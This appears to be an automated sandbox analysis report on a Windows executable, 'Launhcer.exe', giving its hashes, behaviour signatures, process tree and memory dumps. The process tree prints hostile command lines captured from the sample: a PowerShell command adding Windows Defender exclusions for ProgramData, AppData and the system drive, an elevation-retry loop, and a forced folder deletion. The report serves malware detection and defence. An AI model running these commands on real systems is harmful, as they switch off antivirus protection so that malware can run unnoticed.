Resubmissions

28-08-2024 22:02

240828-1x98aszhnk 10

27-08-2024 12:22

240827-pjyrkazgmh 10

Analysis

  • max time kernel
    134s
  • max time network
    142s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-08-2024 22:02

General

  • Target

    data/appInfo/services/Launhcer.exe

  • Size

    364KB

  • MD5

    e5c00b0bc45281666afd14eef04252b2

  • SHA1

    3b6eecf8250e88169976a5f866d15c60ee66b758

  • SHA256

    542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

  • SHA512

    2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

  • SSDEEP

    6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe
    "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\Launhcer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4204
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1508
      • C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\data\appInfo\services\data\Launcher.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3576
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:700
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2224

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    db01a2c1c7e70b2b038edf8ad5ad9826

    SHA1

    540217c647a73bad8d8a79e3a0f3998b5abd199b

    SHA256

    413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

    SHA512

    c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    187d8b66c211fc9ee352cb49211728b2

    SHA1

    26ecd66b6989501fb404cf916b00e1f2b86fdd47

    SHA256

    f683a8afcc1e076389fa8e10551b1b6b82d72109b8c96e2e52d96c5501fa4cf8

    SHA512

    c76ffb5fc66f41a677004c8594ad62f8089b15b0a8ac4a4d420451a4744e4c3478e69f5d6954e8b52e3bbba801cfd958d98a7bb0f65cdc3d2e64780625dd2a2e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxo00hjc.n22.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/700-259-0x0000000009700000-0x0000000009708000-memory.dmp

    Filesize

    32KB

  • memory/700-254-0x0000000009710000-0x000000000972A000-memory.dmp

    Filesize

    104KB

  • memory/700-61-0x00000000094B0000-0x0000000009555000-memory.dmp

    Filesize

    660KB

  • memory/700-56-0x0000000009230000-0x000000000924E000-memory.dmp

    Filesize

    120KB

  • memory/700-55-0x000000006F200000-0x000000006F24B000-memory.dmp

    Filesize

    300KB

  • memory/700-54-0x0000000009460000-0x0000000009493000-memory.dmp

    Filesize

    204KB

  • memory/1508-9-0x00000000074A0000-0x0000000007506000-memory.dmp

    Filesize

    408KB

  • memory/1508-0-0x000000007246E000-0x000000007246F000-memory.dmp

    Filesize

    4KB

  • memory/1508-13-0x0000000007C50000-0x0000000007CC6000-memory.dmp

    Filesize

    472KB

  • memory/1508-11-0x00000000078F0000-0x000000000790C000-memory.dmp

    Filesize

    112KB

  • memory/1508-28-0x0000000008D20000-0x0000000008DB4000-memory.dmp

    Filesize

    592KB

  • memory/1508-29-0x0000000008A40000-0x0000000008A5A000-memory.dmp

    Filesize

    104KB

  • memory/1508-30-0x0000000008A90000-0x0000000008AB2000-memory.dmp

    Filesize

    136KB

  • memory/1508-31-0x00000000092C0000-0x00000000097BE000-memory.dmp

    Filesize

    5.0MB

  • memory/1508-10-0x0000000007540000-0x0000000007890000-memory.dmp

    Filesize

    3.3MB

  • memory/1508-12-0x0000000007930000-0x000000000797B000-memory.dmp

    Filesize

    300KB

  • memory/1508-8-0x0000000006D80000-0x0000000006DE6000-memory.dmp

    Filesize

    408KB

  • memory/1508-7-0x0000000006B70000-0x0000000006B92000-memory.dmp

    Filesize

    136KB

  • memory/1508-6-0x0000000072460000-0x0000000072B4E000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-5-0x0000000006E70000-0x0000000007498000-memory.dmp

    Filesize

    6.2MB

  • memory/1508-275-0x000000007246E000-0x000000007246F000-memory.dmp

    Filesize

    4KB

  • memory/1508-276-0x0000000072460000-0x0000000072B4E000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-277-0x0000000072460000-0x0000000072B4E000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-4-0x0000000072460000-0x0000000072B4E000-memory.dmp

    Filesize

    6.9MB

  • memory/1508-3-0x0000000000C90000-0x0000000000CC6000-memory.dmp

    Filesize

    216KB

  • memory/1508-283-0x0000000072460000-0x0000000072B4E000-memory.dmp

    Filesize

    6.9MB